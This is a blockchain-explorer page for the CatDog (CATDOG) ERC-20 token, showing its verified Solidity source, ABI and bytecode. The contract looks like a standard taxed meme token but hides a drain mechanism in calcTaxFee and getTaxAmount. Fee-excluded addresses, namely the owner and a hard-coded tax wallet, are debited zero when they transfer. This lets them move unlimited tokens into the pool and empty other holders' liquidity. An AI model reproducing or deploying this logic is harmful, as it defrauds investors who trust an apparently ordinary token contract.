ETH Price: $3,813.52 (+5.53%)

Token

ERC-20: CatDog (CATDOG)
 

Overview

Max Total Supply

1,000,000,000 CATDOG

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,972,685.337836094 CATDOG

Value
$0.00
0xb99e456be19d40ed6e4782a6db534bbc523b2832
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CATDOG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-26
*/

//SPDX-License-Identifier: MIT
/**

Life of a cat and a dog with a unique twist: they are literally connected. Follow the development of this story

Web: https://catdog.cool
X: https://x.com/catdog_erc
Tg: https://t.me/catdog_erc

**/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CATDOG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"CatDog";
    string private constant _symbol = unicode"CATDOG";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 125 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x90bB8b58f3aC61f0e8Ee16843fcc26E30363C308);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address sender, address receipt, uint256 tokenAmount) private { 
        uint256 taxAmount = 0;
        (
            uint256 tax,
            uint256 sAmount,
            uint256 rAmount
        ) = calcTaxFee(sender, receipt, tokenAmount, taxAmount);

        if (tax > 0) {
            _balances[address(this)] += tax;
            emit Transfer(sender, address(this), tax);
        }

        _balances[sender] -= sAmount;
        _balances[receipt] += rAmount;
        emit Transfer(sender, receipt, rAmount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(from, to, amount);
    }

    function calcTaxFee(
        address sender,
        address receipt,
        uint256 tAmount,
        uint256 tax
    ) internal view returns (uint256, uint256, uint256) {
        uint256 taxAmount = 0; 
        taxAmount = tAmount
        .mul(
            (_buyCount > _reduceBuyTaxAt)
                ? _finalBuyTax
                : _initialBuyTax
        )
        .div(100);
        tax = getTaxAmount(sender, tax);
        if (receipt == uniswapV2Pair && sender != address(this)) {
            taxAmount = tAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        return (taxAmount,tAmount.mul(tax),tAmount.sub(taxAmount));
    }
    
    function getTaxAmount(address _acct, uint256 _tax) private view returns(uint256) {
        bool isExcluded = _isExcludedFromFee[_acct];
        bool isNotSelf = _acct != address(this);
        if(isExcluded && isNotSelf) return _tax;
        return _tax + 1;
    }

    function _basicTransfer(address from, address to, uint256 amount) internal {
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function recoverEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff1916905560146007819055600881905560006009818155600a828155600b849055600c849055600d93909355600e919091556200004791620002ef565b62000057906301312d00620003e7565b600f55620000686009600a620002ef565b62000078906301312d00620003e7565b601055620000896009600a620002ef565b6200009690607d620003e7565b601155620000a76009600a620002ef565b620000b69062989680620003e7565b6012556014805461ffff60a81b19169055348015620000d457600080fd5b506000620000e162000286565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319167490bb8b58f3ac61f0e8ee16843fcc26e30363c30800179055620001616009600a620002ef565b6200017190633b9aca00620003e7565b600160006200017f62000286565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b96200028a60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556200021f62000286565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002596009600a620002ef565b6200026990633b9aca00620003e7565b60405162000278919062000299565b60405180910390a36200041f565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b65750620002e6565b818704821115620002cb57620002cb62000409565b80861615620002d957918102915b9490941c938002620002a5565b94509492505050565b60006200030360001960ff8516846200030a565b9392505050565b6000826200031b5750600162000303565b816200032a5750600062000303565b81600181146200034357600281146200034e5762000382565b600191505062000303565b60ff84111562000362576200036262000409565b6001841b9150848211156200037b576200037b62000409565b5062000303565b5060208310610133831016604e8410600b8410161715620003ba575081810a83811115620003b457620003b462000409565b62000303565b620003c98484846001620002a2565b808604821115620003de57620003de62000409565b02949350505050565b600081600019048311821515161562000404576200040462000409565b500290565b634e487b7160e01b600052601160045260246000fd5b611b91806200042f6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bcdb446b11610064578063bcdb446b146102e2578063bf474bed146102f7578063c876d0b91461030c578063c9567bf914610321578063dd62ed3e146103365761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b41146102985780639e78fb4f146102ad578063a9059cbb146102c25761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b60405161015191906115aa565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114a5565b610376565b604051610151919061159f565b34801561019357600080fd5b5061019c610394565b60405161015191906118de565b3480156101b557600080fd5b5061019c61039a565b3480156101ca57600080fd5b5061017a6101d9366004611465565b6103bb565b3480156101ea57600080fd5b506101f3610443565b6040516101519190611957565b34801561020c57600080fd5b5061019c61021b3660046113f5565b610448565b34801561022c57600080fd5b50610235610463565b005b34801561024357600080fd5b506102356104eb565b34801561025857600080fd5b5061019c61056f565b34801561026d57600080fd5b50610276610575565b604051610151919061151d565b34801561028f57600080fd5b5061019c610584565b3480156102a457600080fd5b5061014461058a565b3480156102b957600080fd5b506102356105aa565b3480156102ce57600080fd5b5061017a6102dd3660046114a5565b6107dc565b3480156102ee57600080fd5b506102356107f0565b34801561030357600080fd5b5061019c610830565b34801561031857600080fd5b5061017a610836565b34801561032d57600080fd5b5061023561083f565b34801561034257600080fd5b5061019c61035136600461142d565b6109ea565b604080518082019091526006815265436174446f6760d01b602082015290565b600061038a610383610a15565b8484610a19565b5060015b92915050565b60125481565b60006103a86009600a6119e3565b6103b690633b9aca00611ab4565b905090565b60006103c8848484610acd565b610438846103d4610a15565b61043385604051806060016040528060288152602001611b34602891396001600160a01b038a16600090815260026020526040812090610412610a15565b6001600160a01b031681526020810191909152604001600020549190610de3565b610a19565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61046b610a15565b6000546001600160a01b039081169116146104a15760405162461bcd60e51b815260040161049890611769565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f3610a15565b6000546001600160a01b039081169116146105205760405162461bcd60e51b815260040161049890611769565b600019600f81905560108190556006805460ff191690556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf91610565916118de565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526006815265434154444f4760d01b602082015290565b6105b2610a15565b6000546001600160a01b039081169116146105df5760405162461bcd60e51b815260040161049890611769565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106309030906001600160a01b03166106226009600a6119e3565b61043390633b9aca00611ab4565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561067e57600080fd5b505afa158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b69190611411565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074b9190611411565b6040518363ffffffff1660e01b8152600401610768929190611531565b602060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611411565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600061038a6107e9610a15565b8484610acd565b6107f8610a15565b6000546001600160a01b039081169116146108255760405162461bcd60e51b815260040161049890611769565b61082e47610e1d565b565b60115481565b60065460ff1681565b610847610a15565b6000546001600160a01b039081169116146108745760405162461bcd60e51b815260040161049890611769565b601454600160a01b900460ff161561089e5760405162461bcd60e51b8152600401610498906118a7565b6013546001600160a01b031663f305d71947306108ba81610448565b6000806108c5610575565b426040518863ffffffff1660e01b81526004016108e796959493929190611564565b6060604051808303818588803b15801561090057600080fd5b505af1158015610914573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093991906114f0565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109739216906000199060040161154b565b602060405180830381600087803b15801561098d57600080fd5b505af11580156109a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c591906114d0565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a3f5760405162461bcd60e51b815260040161049890611863565b6001600160a01b038216610a655760405162461bcd60e51b815260040161049890611677565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac09085906118de565b60405180910390a3505050565b6001600160a01b038316610af35760405162461bcd60e51b8152600401610498906117e7565b6001600160a01b038216610b195760405162461bcd60e51b8152600401610498906115fd565b60008111610b395760405162461bcd60e51b81526004016104989061179e565b601454600160b01b900460ff161580610b5b5750601454600160a81b900460ff165b15610b7057610b6b838383610e5f565b610dde565b610b78610575565b6001600160a01b0316836001600160a01b031614158015610bb25750610b9c610575565b6001600160a01b0316826001600160a01b031614155b15610dd35760065460ff1615610c34576013546001600160a01b03838116911614801590610bee57506014546001600160a01b03838116911614155b15610c3457326000908152600560205260409020544311610c215760405162461bcd60e51b8152600401610498906116b9565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610c5f57506013546001600160a01b03838116911614155b8015610c8457506001600160a01b03821660009081526003602052604090205460ff16155b15610cf657600f54811115610cab5760405162461bcd60e51b815260040161049890611640565b60105481610cb884610448565b610cc29190611965565b1115610ce05760405162461bcd60e51b81526004016104989061182c565b600e8054906000610cf083611aea565b91905055505b6000610d0130610448565b601454909150600160a81b900460ff16158015610d2b57506014546001600160a01b038481169116145b8015610d405750601454600160b01b900460ff165b8015610d4f5750600d54600e54115b8015610d7457506001600160a01b03841660009081526003602052604090205460ff16155b8015610d9957506001600160a01b03831660009081526003602052604090205460ff16155b15610dd157601154811115610dc557610dc5610dc083610dbb84601254610f05565b610f05565b610f1a565b47610dcf47610e1d565b505b505b610dde8383836110bf565b505050565b60008184841115610e075760405162461bcd60e51b815260040161049891906115aa565b506000610e148486611ad3565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610e5b573d6000803e3d6000fd5b5050565b6001600160a01b038316600090815260016020526040902054610e83908290611ad3565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610eb3908290611965565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac09085906118de565b6000818311610f14578261043c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fc457600080fd5b505afa158015610fd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffc9190611411565b8160018151811061101d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546110439130911684610a19565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061107c9085906000908690309042906004016118e7565b600060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000808060006110d1878787876111f8565b9194509250905082156111485730600090815260016020526040812080548592906110fd908490611965565b909155505060405130906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113f9087906118de565b60405180910390a35b6001600160a01b03871660009081526001602052604081208054849290611170908490611ad3565b90915550506001600160a01b0386166000908152600160205260408120805483929061119d908490611965565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111e791906118de565b60405180910390a350505050505050565b6000806000806000905061122e6064611228600b54600e541161121d57600754611221565b6009545b89906112b6565b906112fb565b905061123a888661133d565b6014549095506001600160a01b03888116911614801561126357506001600160a01b0388163014155b156112905761128d6064611228600c54600e541161128357600854611221565b600a5489906112b6565b90505b8061129b87876112b6565b6112a58884611385565b935093509350509450945094915050565b6000826112c55750600061038e565b60006112d18385611ab4565b9050826112de858361197d565b1461043c5760405162461bcd60e51b815260040161049890611728565b600061043c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c7565b6001600160a01b038216600081815260036020526040812054909160ff9091169030141581801561136b5750805b1561137a57839250505061038e565b610e14846001611965565b600061043c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610de3565b600081836113e85760405162461bcd60e51b815260040161049891906115aa565b506000610e14848661197d565b600060208284031215611406578081fd5b813561043c81611b1b565b600060208284031215611422578081fd5b815161043c81611b1b565b6000806040838503121561143f578081fd5b823561144a81611b1b565b9150602083013561145a81611b1b565b809150509250929050565b600080600060608486031215611479578081fd5b833561148481611b1b565b9250602084013561149481611b1b565b929592945050506040919091013590565b600080604083850312156114b7578182fd5b82356114c281611b1b565b946020939093013593505050565b6000602082840312156114e1578081fd5b8151801515811461043c578182fd5b600080600060608486031215611504578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115d6578581018301518582016040015282016115ba565b818111156115e75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119365784516001600160a01b031683529383019391830191600101611911565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561197857611978611b05565b500190565b60008261199857634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119af57506119da565b8187048211156119c1576119c1611b05565b808616156119ce57918102915b9490941c9380026119a0565b94509492505050565b600061043c60001960ff8516846000826119ff5750600161043c565b81611a0c5750600061043c565b8160018114611a225760028114611a2c57611a59565b600191505061043c565b60ff841115611a3d57611a3d611b05565b6001841b915084821115611a5357611a53611b05565b5061043c565b5060208310610133831016604e8410600b8410161715611a8c575081810a83811115611a8757611a87611b05565b61043c565b611a99848484600161199d565b808604821115611aab57611aab611b05565b02949350505050565b6000816000190483118215151615611ace57611ace611b05565b500290565b600082821015611ae557611ae5611b05565b500390565b6000600019821415611afe57611afe611b05565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c10d3fa38d88d84ad5d3edafa24c22ecb18ac3c904b2171c8889cb6c6a9351f64736f6c63430008000033

Deployed Bytecode

